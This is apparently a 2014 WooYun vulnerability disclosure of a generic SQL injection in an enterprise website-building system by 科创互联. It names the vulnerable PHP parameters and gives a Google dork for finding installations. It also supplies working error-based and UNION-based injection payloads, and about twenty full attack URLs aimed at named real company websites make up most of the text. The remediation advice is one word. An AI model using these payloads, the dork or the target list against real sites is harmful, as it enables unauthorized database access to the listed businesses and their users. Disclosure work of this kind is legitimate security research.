当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083372

漏洞标题:某企业建站系统通用性注入

相关厂商:科创互联

漏洞作者: 郭斯特

提交时间:2014-11-17 19:06

修复时间:2015-02-15 19:08

公开时间:2015-02-15 19:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT~

详细说明:

前人发过。
WooYun: 某通用型企业建站系统SQL注入,影响网站数量过于惊人
官网:www.shandongweb.com/
影响不算小
漏洞文件
job.php?mode=detail&id= (主要是job.php这个文件)
notice.php?act=detail&id=
news.php?act=detail&id=
rule.php?act=detail&id=
google hacking
技术支持:科创互联inurl:job.php
exp:
爆用户:
news.php?act=detail&id=692%20AND%20(SELECT%203703%20FROM(SELECT%20COUNT(*),CONCAT(0x3a656a743a,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,50)),0x3a6164613a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
rule.php?act=detail&id=692%20AND%20(SELECT%203703%20FROM(SELECT%20COUNT(*),CONCAT(0x3a656a743a,(MID((IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20)),1,50)),0x3a6164613a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)
爆数据库:
job.php?mode=detail&id=-7684 UNION ALL SELECT NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

漏洞证明:

列出几个案例吧:
http://www.xdl-china.com/news.php?act=detail&id=692%20AND%20(SELECT%203703%20FROM(SELECT%20COUNT(*),CONCAT(0x3a656a743a,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,50)),0x3a6164613a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)

wooyun.png


http://www.qdxcedu.com/rule.php?act=detail&id=692%20AND%20(SELECT%203703%20FROM(SELECT%20COUNT(*),CONCAT(0x3a656a743a,(MID((IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20)),1,50)),0x3a6164613a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)

wooyun.png


http://www.qdnwj.com/rule.php?act=detail&id=692%20AND%20(SELECT%203703%20FROM(SELECT%20COUNT(*),CONCAT(0x3a656a743a,(MID((IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20)),1,50)),0x3a6164613a,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)

wooyun.png


http://www.jinhai.net.cn/job.php?mode=detail&id=job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

wooyun.png


http://www.aoshihr.com/job.php?mode=detail&id=job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

wooyun.png


http://qdhuirui.com/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

wooyun.png


http://www.xdl-china.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://aohaidongxing.com/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.qdjfyjd.com/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.quannengchina.net/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.xdl-china.com/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.rdrq.net//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.qdjtx.com/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.shanhaitian.com/job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://mingrenrucha.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://qdhuirui.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.qddbzj.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.qdnep.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.xcbdc.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.quannengchina.net//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
http://www.qdjinding.com//job.php?mode=detail&id=-7684%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x3a6269743a,IFNULL(CAST(CURRENT_USER()%20AS
%20CHAR),0x20),0x3a68656d3a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

修复方案:

过滤~

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论